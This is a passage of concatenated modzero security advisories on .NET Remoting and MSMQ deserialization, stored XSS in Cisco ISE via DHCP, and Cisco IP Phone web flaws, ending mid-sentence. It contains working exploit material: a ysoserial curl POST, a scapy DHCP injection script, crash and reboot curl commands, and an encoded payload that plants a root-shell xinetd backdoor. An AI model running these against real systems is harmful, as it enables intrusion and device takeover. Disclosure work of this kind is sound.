infect another computers  Machine scope which can in  turn infect other
users and their roaming scope.



4.2 Deserialization vulnerability in
    BinaryServerFormatterSink::ProcessMessage   leading  to  Denial  of
    Service (DoS)


By sending  a crafted message  to a .Net  remoting channel a  denial of
service or remote  code execution can be triggered if  the channel uses
a  BinaryServerFormatterSink in  its SinkChain,  which it  does in  the
default  configuation.  Wether or  not  the  DoS  or RCE  will  trigger
depends  on what  the  BinaryServerFormatterSink's TypeFilterLevel  has
been set to.

The default  is Low, in  which case only the  Denial of Service  can be
triggered. If  it has been set  to Full instead, remote  code execution
can be performed.

When  using Remoting  in .Net  the incoming  and outgoing  messages are
processed by SinkChains, which are  essentially a linked list of sinks.
These sinks  are passed the  current data, perform some  processing and
pass the updated data on to  the next chain for further processing. One
of  these  sinks  is   the  BinaryServerFormatterSink  which  processes
incoming messages which have been serialized to a binary format.

When an incoming  message is received, ProcessMessage is  called on the
BinaryServerFormatterSink  instance, the  requestStream that  is passed
to it contains the serialized message  that the sink is ment to decode.
If  the TypeFilterLevel  property of  the BinaryFormatterSink  has been
set to  Low it  will restrict  the security context  to only  grant the
SerializationFormatter permission.

If the  TypeFilterLevel is set to Full,  the  security context won't be
restricted.
(https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8)
Afterwards  it  will  call  CoreChannel.DeserializeBinaryRequestMessage
with the requestStream it has been called with.


    if (this.TypeFilterLevel != TypeFilterLevel.Full)
    {
      permissionSet = new PermissionSet(PermissionState.None);
      permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
    }
    try
    {
      if (permissionSet != null)
      {
        permissionSet.PermitOnly();
      }
      requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel);
    }
    finally
    {
      if (permissionSet != null)
      {
        CodeAccessPermission.RevertPermitOnly();
      }
    }


CoreChannel.DeserializeBinaryRequestMessage    then    initializes    a
BinaryFormatter   and   sets   its   FilterLevel   according   to   the
BinaryServerFormatterSink's.  It then  calls  UnsafeDeserialize on  the
BinaryFormatter.


    internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
    {
      BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
      binaryFormatter.FilterLevel = securityLevel;
      CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri);
      return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler));
    }


The UnsafeDeserialize call then gets  passed down to a Deserialize call
which   instantiates    an   ObjectReader   with    the   corresponding
TypeFilterLevel.  It then  calls ObjectReader::Deserialize  on the  new
ObjectReader instance.


    internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
    {
      [...]
      internalFE.FEsecurityLevel = this.m_securityLevel;
      ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder);
      objectReader.crossAppDomainArray = this.m_crossAppDomainArray;
      return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage);
    }


ObjectReader::Deserialize    then    performs   the    deserialization.
Additional security checks are performed if IsRemoting is true.


    internal void CheckSecurity(ParseRecord pr)
    {
      Type prdtType = pr.PRdtType;
      if (prdtType != null && this.IsRemoting)
      {
        [...]
        FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel);
      }
    }


IsRemoting  is  true if either  bMethodCall or  bMethodReturn  is true.


    private bool IsRemoting
    {
      get
      {
        return this.bMethodCall || this.bMethodReturn;
      }
    }


These two values  (bMethodCall and bMethodReturn) are only  set to true
by the SetMethodCall and SetMethodReturn methods respectively.



    internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
    {
      this.bMethodCall = true;
      this.binaryMethodCall = binaryMethodCall;
    }

    internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn)
    {
      this.bMethodReturn = true;
      this.binaryMethodReturn = binaryMethodReturn;
    }


Those         two        methods         are        only         called
from__BinaryParser::ReadMethodObject,   which  is   only  called   from
__BinaryParser::Run


    case BinaryHeaderEnum.MethodCall:
    case BinaryHeaderEnum.MethodReturn:
      this.ReadMethodObject(binaryHeaderEnum);


Therefore additional security checks are  only performed if an IMessage
is being deserialized.  An attacker can bypass  the additional security
checks  by  submitting  a  crafted  stream of  data  that  contains  no
IMessage object and triggers execution of deserialization gadgets.

Using   the   standard   TypeConfuseDelegate    gadget,   a   call   to
System.Diagnostics.Process::Start(string,string) can be performed.

In the  case of TypeFilterLevel  being set to  Low (4.2.1) the  call to
Process.Start  then causes  an  uncaught  SecurityException, since  the
security   context    is   restricted.   The   exception    occurs   in
System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction     in    a
separate                thread                spawned                by
System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread.     The
uncaught exception  then causes termination  of the process  leading to
Denial of Service.

In the  case of TypeFilterLevel being  set to Full (4.2.2)  the call to
Process.Start passes all security checks  and a new process is started.
In this  case arbitrary code  can be executed  remotely as long  as the
channel is accessible.

Because there are no restrictions  imposed on the deserialization, when
using  an HTTP  channel 4.2.2  can also  be exploited  by generating  a
payload file  with the  ysoserial.net tool  and a  curl request  of the
form:


    curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@payload" http://serveraddress/Service


4.3 Deserialization vulnerability in
    System.Messaging.Message::get_Body() using a BinaryMessageFormatter

When  using  Microsoft  Message  Queueing (MSMQ)  with  .Net,  messages
retrieved  from the  Queue are  processed into  a Message  object. This
object  contains an  IMessageFormatter property  and in  the case  of a
retrieved  messageit contains  a BodyStream  that holds  the serialized
body of  the message.  This BodyStream is  not parsed  immediately, but
will instead be  deserialized only when the Body's  getter is accessed.
The getter then calls  Formatter.Read on its IMessageFormatter instance
to create the actual Body object.


    public object Body
    {
      get
      {
        if (this.filter.Body)
        {
          if (this.cachedBodyObject == null)
          {
            [...]
            this.cachedBodyObject = this.Formatter.Read(this);
          }
          return this.cachedBodyObject;
        }


If the  IMessageFormatter is a BinaryMessageFormatter,  its Read method
checks    if   the    BodyType   is    compatible   and    then   calls
BinaryFormatter::Deserialize  on  a  default  BinaryFormatter  instance
with no additional security features enabled.


    public BinaryMessageFormatter()
    {
      this.formatter = new BinaryFormatter();
    }

    public object Read(Message message)
    {
      [...]
      int bodyType = message.BodyType;
      if (bodyType == 768)
      {
        Stream bodyStream = message.BodyStream;
        return this.formatter.Deserialize(bodyStream);


This allows  the use  of arbitrary deserialization  gadgets and  can be
used to  execute arbitrary code  when somebody retrieves  messages from
the message queue.

-----------------------------------------------------------------------

5. Proof of Concept exploits

-----------------------------------------------------------------------

PoC  exploits are  provided  as separate  git  repos containing  Visual
Studio Solutions.

The  IsolatedStorageVulnerability  solution demonstrates  vulnerability
4.1.

After executing the PoC, any vulnerable program enumerating the Machine
scope will  execute a program  when deserializing the  payload. Running
"storeadm /List"  in the  Visual Studio  Developer Console  for example
will trigger the vulnerability.


The RemotingVulnerability solution demonstrates vulnerabilities 4.2.

It contains two projects:
    * RemotingService - a bare bones Remoting server
    * RemotingExploit - the actual exploit
When the server is running  and configured with TypeFilterLevel.Low the
exploit will crash  the server process. When the server  is running and
configured  with TypeFilterLevel.Full  the  exploit  will trigger  code
execution in the server process.


The MSMQ solution demonstrates vulnerability 4.3.

It contains two projects:
    * MSMQ Reader - a small program polling messages from an MSMQ
    * MSMQ Exploit - the actual exploit
When the  reader is running  the exploit  will cause code  execution to
occur as  soon as  the getter of  the Body property  of the  Message is
accessed.


All  projects use  the TypeConfuseDelegate  gadget with  SortedSet`1 to
reach code execution from the deserialization vulnerability.

Please find the PoC projects at GitHub:

* https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
* https://github.com/modzero/MZ-20-03_PoC_NetRemoting
* https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter

-----------------------------------------------------------------------

6. Workarounds

-----------------------------------------------------------------------

For 4.2, restricting  access to  the remoting  channel will  reduce the
potential  attack vectors.  When  using Tcp  or  Icp channels, enabling
authentication can  mitigate some  risks as  well. If  possible setting
TypeFilterLevel to  Low will  mitigate the  RCE to  a DoS  but business
cases might require using TypeFilterLevel.Full

For 4.3, if possible, restrict access to any queue unless necessary.

-----------------------------------------------------------------------

7. Fix

-----------------------------------------------------------------------

Currently, no fixes are available.

-----------------------------------------------------------------------

8. Credits

-----------------------------------------------------------------------

 * Nils Ole Timm

-----------------------------------------------------------------------

9. About modzero

-----------------------------------------------------------------------

The  independent  Swiss-German  company modzero  assists  clients  with
security analysis  in the  complex areas  of  computer  technology. The
focus  lies  on   highly  detailed  technical   analysis  of  concepts,
software   and hardware   components as  well as   the development   of
individual   solutions.  Colleagues  at  modzero   work exclusively  in
practical, highly  technical computer-security  areas and  can  draw on
decades  of  experience  in  various  platforms,  system  concepts, and
designs.

https://www.modzero.com
contact@modzero.com

modzero  follows  coordinated  disclosure  practices  described   here:
https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.

This  policy  should have  been  sent to  the  vendor along  with  this
security advisory.


-----------------------------------------------------------------------

10. Disclaimer

-----------------------------------------------------------------------

The information in the advisory is  believed to be accurate at the time
of  publishing based  on currently  available information.  Use of  the
information  constitutes acceptance  for  use in  an  AS IS  condition.
There are  no warranties with  regard to this information.  Neither the
author  nor  the  publisher  accepts  any  liability  for  any  direct,
indirect,  or consequential  loss or  damage  arising from  use of,  or
reliance on, this information.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

----------------------------------------------------[MZ-19-03]----v1.2--

modzero Security Advisory:

Unauthenticated persistent cross-site scripting injection into the
administrative console of CISCO ISE web application via DHCP request

------------------------------------------------------------------------

------------------------------------------------------------------------

1. Timeline

------------------------------------------------------------------------

* 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
* 2019-11-22: PSIRT opened case (PSIRT-0535851956)
* 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19'
* 2020-02-12: PSIRT incident manager confirmed reproduceability
* 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
* 2020-02-19: modzero released advisory to the public

In  accordance  with  modzero's  disclosure  policy,  the  advisory  is
expected  to  be published  not  later than  February  21st, 2020.  Our
disclosure policy is available at:

https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf

------------------------------------------------------------------------

2. About

------------------------------------------------------------------------

Affected vendor: Cisco
Latest known to be vulnerable version products:
    * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3
      - Product Identifier: SNS-3655-K9
      - Version Identifier A0
      - ADE-OS Version 3.0.5.144

The Cisco Identity Services Engine is the engine behind Cisco's Network
Access Control  solution. It  enables the  creation and  enforcement of
security and access policies for endpoint devices connected to the
company's routers and switches.

------------------------------------------------------------------------

3. Details

------------------------------------------------------------------------

An unauthenticated attacker who is  able to inject a specially  crafted
DHCP  request  packet into  the  network controlled  by  Cisco Identify
Service  Engine  (ISE),  is  able to  persistently  store  code  (e. g.
JavaScript),  which  is  executed in  the  context  of the  Web-browser
accessing the Web-based management interface.

The vulnerability is due to insufficient validation and encoding of the
attacker-controllable  input  within  the  hostname  and  vendor  class
identifier field of processed DHCP request packets.

The attacker-controlled  code will  be executed  in the  context of the
user  of the  Web-based management  console. If  a legitimate  user is
reviewing  an  Endpoint's  attributes  within  the  Identity   Services
Engine's Web- based-management-interface.

The attacker-controlled  code will  be executed  in the  context of the
user that is currently logged  in to the Web-based management  console,
when  the  endpoint  attribute  details  are  reviewed  by  opening the
following
URL:

https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails

------------------------------------------------------------------------

4. Impact

------------------------------------------------------------------------

The code will be executed with the rights of the user accessing the Web-
based management console. If the user has administrative rights, the
attacker might be able to leverage arbitrary functions of the Web-based
management interface.

------------------------------------------------------------------------

5. Proof of Concept exploit

------------------------------------------------------------------------

Using the following python script, two simple JavaScript code fragments
will be sent in the hostname and vendor class identifier fields of the
DHCP request.

#!/usr/bin/env python

from scapy.all import *
import scapy

conf.iface = "eth0"
hostname_payload = "<script>alert('hostname payload')</script>"
vendor_class_id_payload = "<script>alert('v class id payload')</script>"

_, hw   = get_if_raw_hwaddr(conf.iface)
ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800)
ip       = IP(src ='0.0.0.0', dst='255.255.255.255')
udp      = UDP (sport=68, dport=67)
bootp    = BOOTP(op=1, chaddr=hw)
dhcp     = DHCP(options=[("message-type","request"), \
    ("hostname",hostname_payload),("vendor_class_id", \
    vendor_class_id_payload),('end')])

packet   = ethernet / ip / udp / bootp / dhcp

sendp(packet, iface=conf.iface)

Once a person reviews the attributes of an endpoint within the ISE web-
based management interface the code will be executed.

------------------------------------------------------------------------

6. Workaround

------------------------------------------------------------------------

-

------------------------------------------------------------------------

7. Fix

------------------------------------------------------------------------

No software updates are available yet.

------------------------------------------------------------------------

8. Credits

------------------------------------------------------------------------

 * Max Moser
 * Katharina Maennle

------------------------------------------------------------------------

9. About modzero

------------------------------------------------------------------------

The independent company modzero assists clients with security  analysis
in  the  complex areas   of  computer technology.  The  focus  lies  on
highly   detailed   technical  analysis   of   concepts,  software  and
hardware  components  as  well   as  the  development  of    individual
solutions.  Colleagues   at modzero  work   exclusively in   practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.

Website: https://www.modzero.ch
E-Mail: contact@modzero.ch

------------------------------------------------------------------------

10. Disclaimer

------------------------------------------------------------------------

The information in the advisory is believed to be accurate at the time
of publishing  based on  currently available  information. Use  of the
information  constitutes acceptance  for use  in an  AS IS  condition.
There are no warranties with  regard to this information. Neither  the
author  nor  the  publisher  accepts  any  liability  for  any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462

---------------------------------------------------------------------

modzero Security Advisory:
Multiple vulnerabilities in the web interface of the Cisco IP Phone
7800 and 8800 series [MZ-19-01]

---------------------------------------------------------------------

---------------------------------------------------------------------

1. Timeline

---------------------------------------------------------------------

* 2018-06-28: Report with findings delivered to a customer and
  findings have been reported by our customer to Cisco.
* 2018-11-21: This advisory has been sent to the Cisco security team
  (psirt@cisco.com) to get a status regarding security patches.
* 2018-11-21: Initial response from PSIRT to us.
* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
  CSCvn56194, CSCvn56213, CSCvn56221
* 2019-01-23: Information from Cisco that other phones are affected
  as well and they still work on a fix.
* 2019-02-19: 90 days period for keeping detailed information back is over.
* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension agreed
  by modzero.
* 2019-03-06: Received CVE-IDs from Cisco
* 2019-03-20: Cisco releases advisory and fixes
* 2019-03-20: Advisory published

---------------------------------------------------------------------

2. Summary

---------------------------------------------------------------------

Vendor: Cisco

* 3.1 Buffer overflow in the phone's webserver
  CVE-2019-1716
  modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1
  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * 10.3(1)SR5 for Unified IP Conference Phone 8831
    * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
    * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series

  Not affected according to Cisco:
    * IP phones running Multiplatform Firmware

* 3.2 Phone's web interface fails to restrict access to functions
  CVE-2019-1763
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2
  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821 and 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series

  Not affected according to Cisco:
    * IP Conference Phone 8831
    * IP phones running Multiplatform Firmware

* 3.3 File upload vulnerability in the phone's web interface
  CVE-2019-1766
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * IP Phone 8800 Series products running a SIP Software release prior to 12.5(1)SR1

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 7832
    * Cisco Wireless IP Phone 8821(-EX)
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 8832
    * IP phones running Multiplatform Firmware

* 3.4 Phone's file upload affected by path traversal and null injection
  CVE-2019-1765
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
  CVSS Base Score according to Cisco: 8.1

  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 7832
    * IP phones running Multiplatform Firmware

* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s
  upload function
  CVE-2019-1764
  modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3
  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
  CVSS Base Score according to Cisco:  8.1

  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 7832
    * IP phones running Multiplatform Firmware

---------------------------------------------------------------------

3. Details

---------------------------------------------------------------------


3.1 Buffer overflow in the phone's webserver

The embedded web-server running on the Cisco IP phones suffers from a
buffer-overflow vulnerability. During testing, it was confirmed that a
maliciously crafted, unauthenticated request is able to trigger the
vulnerability and results in re-booting of the phone. Further analysis
of the phone firmware showed that the vulnerability may result in
remote code execution in the context of the web server process.

The vulnerable function is extractUsernameAndPassword() for the analyzed
CP-8832 and CP-8845/65 phone firmware versions. The
function is called whenever a HTTP request needs to be authenticated
according to the HTTP "Basic" authentication schema. First, the function
allocates a 257 byte-sized temporary buffer tmp_buf on the
stack. Then, the HTTP authorization header is acquired through the HTTP
connection object conn. The authorization header is decoded from
base64 representation by the function decodeUserPassword() and stored
into tmp_buf. Before calling decodeUserPassword(), the authorization
header string length is not processed safely. The pseudo-code below
highlights the problematic computation step:

  char tmp_buf[257];
  memset(tmp_buf, 0, sizeof(tmp_buf));
  […]
  unsigned len = strlen(authorization_header);
  len = len & 0xffff;
  decodeUserPassword(authorization_header, len, tmp_buf);

Instead, the following code should have been employed to correctly
limit the input to the decodeUserPassword() function as follows:

  char tmp_buf[257];
  memset(tmp_buf, 0, sizeof(tmp_buf));
  […]
  unsigned len = strlen(authorization_header);
  if (len > 340) len = 340; // because base64-decoding is an 8 to 6 bit transformation
  decodeUserPassword(authorization_header, len, tmp_buf);

Because of this programming error, an input of up to 65535 characters
can be passed to decodeUserPassword(), which will in consequence
decode and write up to 49152 bytes into tmp_buf and the subsequent
memory area on the stack. The saved stack pointer and program counter
are located right behind tmp_buf and therefore can be overwritten with
arbitrary values. When the function extractUsernameAndPassword()
returns, the modified stack pointer and program counter are loaded
from memory. When arbitrary garbage values are supplied, the program
will typically crash and the phone will reboot. It is likely that with
sufficient knowledge of the memory layout and program state, an
attacker may inject carefully prepared data and execute arbitrary
code.

The following HTTP request was shown to trigger the vulnerability
(HTTP authorization header truncated for readability):

GET /CGI/Java/x HTTP/1.1
Host: localhost
User-Agent: curl/7.58.0
Accept: */*
Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii…
Connection: close


Such a request can be generated with the command below and sent to the
HTTP or HTTPS port of the phone’s web server:

curl -k -u `seq -s: 999` -d 1 https://<phone IP address>/CGI/Java/CallInfo

In a disassembly of the vulnerable function
extractUsernameAndPassword() it can be observed that the code lacks
set-up and validation of stack canaries in the function prolog and
epilog. Therefore, an attacker is able to trivially overwrite the
saved program counter located on the stack. The underlying Linux
kernel has Address-Space Layout Randomization (ASLR) enabled
(/proc/sys/kernel/randomize_va_space was observed to be set to the
value 2), but the verbose externally exposed message log via the web
server contains memory addresses from the HTTP server processes as
shown below. Therefore, an attacker is likely to correctly guess
memory addresses and becomes able to defeat the ASLR countermeasure.

7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection  - Added SSL connection handle 0x40f82660, connDesc 90 to table.


3.2 Phone's web interface fails to restrict access to functions

The IP phone’s web server implements authorization checks to control
access to functions. A programming error allows to bypass these
checks and access internal functions without authentication. For
example, the phone can be rebooted. This issue facilitated the
proof-of-concept exploit to gain remote root access to IP phones
described in the appendix.

Internally, web pages that allow interaction with internal functions
(in contrast to web pages that only display information) are called
“editable pages”. If an incoming request is recognized to access an
editable page, further checks for authentication and authorization are
performed.

The disassembly of the vulnerable function isEditablePage() in the two
firmware versions is rewritten as the pseudo-code below and
illustrates how the function employs strcmp() to analyze incoming HTTP
requests. It fails to produce the correct result when the input does
not exactly match the test strings. This is possible for example, when
the parameter string contains additional but insignificant characters
like an ampersand (‘&’).

int isEditablePage(
    char *uri,    // query path
    char *params, // query parameters
) {
    return (
        strcmp(uri, “/CGI/Java/Serviceability”) == 0 && (
            strcmp(params, “adapter=datetime”) == 0 ||
            strcmp(params, “adapter=datetimelocal”) == 0 ||
            strcmp(params, “adapter=datetimespec”) == 0 ||
…
        )
    ) || … ;
}

The following command exploits the described behavior to reboot the
phone. Another exploit of the described issue is shown in the
appendix:

curl -k -d 1 "https://<IPaddr>/CGI/Java/Serviceability?adapter=do_restart&"


3.3 File upload vulnerability in the phone's web interface

The IP phone contains a function that allows uploading of files to the
phone’s file system. It is usually employed to upload custom
certificates and constructed in a non-standard way, i.e. it already writes
data to a local file during an initial parameter parsing step. As a
consequence, it is possible to write arbitrary file contents, even
when later processing steps fail or no further actions are performed
on the data. This may lead to denial-of-service conditions, for
example storage media failure or storage space exhaustion. The ability
to persist arbitrary data on the device facilitated creation of the
exploit described in the appendix.

The problematic file upload function is implemented in Java. Incoming
HTTP POST requests are handled by the doPost method. When the
parameter adapter is equal to “loginPost”, “upload_usercert” or
“upload_rootca”, the method parseFormResults() is called to process
the request body. parseFormResults() iterates over all body parts and
in turn calls parseHeader() for each. Instead of postponing any data
processing steps until all input has fully been validated, the method
parseFormResults() has the side-effect of writing the parts named
“rootca” and “usercert” to the file system.


3.4 Phone's file upload affected by path traversal and null injection

The IP phones contain a file upload function which is vulnerable to
path traversal and null byte injection. An attacker is able to write
to arbitrary files in the file system, with permissions of the web
server process. The proof of concept exploit in the appendix shows how
this issue enabled writing to configuration file locations to place a
persistent back-door on the phone.

The problematic file upload function is implemented in Java. The
parseHeader() method constructs target file paths with the two
following statements:

this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca + ".up";

this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert + ".up";

An attacker directly controls the member variables rootca and
usercert. By prefixing a desired path with a sequence of dots and
slashes and terminating the string with a null character, an arbitrary
file path can be written to.


3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s upload function

The web interface available on the phones contains an upload function
for user-provided certificates. To protect against Cross-Site Request
Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the
Anti-CSRF token is validated too late, after input data has already
been written to the file system. Therefore, the Anti-CSRF token is
ineffective and does not protect the upload function from CSRF
attacks. An attacker may abuse this behavior to exploit security
vulnerabilities in the phone’s web server in a CSRF-scenario: For
example, by luring an internet-connected victim web browser onto an
attacker-controlled page. If the (possibly authenticated) victim also
has access to the phone’s web server, the attacker-controlled page may
submit malicious requests to the phone.

The method parseFormResults() in the upload implementation verifies
the CSRFToken parameter as final step. This is insufficient, because
actions with substantial side-effects have already been performed
before the check raises an exception. The exception caused by failure
of the CSRFToken check does not inhibit exploitation of
vulnerabilities, as demonstrated by the proof-of-concept in the
appendix.

---------------------------------------------------------------------

4. Impact

---------------------------------------------------------------------

modzero identified several critical vulnerabilities in Cisco phone
web interfaces which lead to a full compromise of the phone without
any authentication. An attacker could exploit these vulnerabilities to
obtain sensitive call data, to perform call fraud, as well as an audio
and video surveillance of offices, and to use the phones as attack
platform for other infrastructure.

---------------------------------------------------------------------

5. Proof of concept exploit

---------------------------------------------------------------------

An IP phone (model CP-8865, firmware version
cmterm-8845_65.12-0-1SR1-1) was successfully compromised via
exploitation of a combination of vulnerabilities. The command below
performs a carefully constructed HTTP request to the phone’s web
server to exploit the vulnerabilities documented in this advisory:

echo "H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwejAzjLW99wkCZ8WsNlItXE"\
"mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvyAfhc0J9NyoqoYoQgrB06DaSjw5"\
"UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9u+uVB8Xbh1WQtPExeckFQBAAA="|
base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type: multipart/form-data; boundary=xxx" \
"https://<IPaddr>/CGI/Java/Serviceability?adapter=loginPost&"

The first exploited vulnerability is the issue described in section
3.1: The authorization check to access the loginPost function is
bypassed by appending an ampersand (‘&’) symbol to the URL. The input
payload data is written to the file system due to the file upload
vulnerability described in section 3.3. By exploiting the path
traversal and null injection vulnerability documented in section 3.4,
an internal path can be specified to write into configuration
files. The attacker does not provide a valid anti-CSRF token, which
causes the server to respond with HTTP error 400 Bad Request. But this
does not stop the attack, because of the vulnerable anti-CSRF token
validation mechanism described in section 3.5.

The malicious request writes two files. First, a configuration for a
backdoor xinetd service is written to the location
/usr/local/xinetd/x. The service consists of a root (user 0) shell
listening on tcp port 22. (Port 22 was selected, because observed
firewall configuration suggested that traffic to this port is
typically allowed and expected. If another service is already active
on port 22, this may need to be adjusted.) The xinetd configuration is
reproduced below:

service x
{
type = unlisted
protocol = tcp
wait = no
user = 0
group = 0
server = /bin/sh
server_args = -i
port = 22
}

The second part of the requests writes the empty string to
/var/run/xinetd.pid, effectively truncating the file. This file is
periodically inspected by the cron script located in
/etc/cron.5mins/02xinetdmon, which is shown below. The cron script
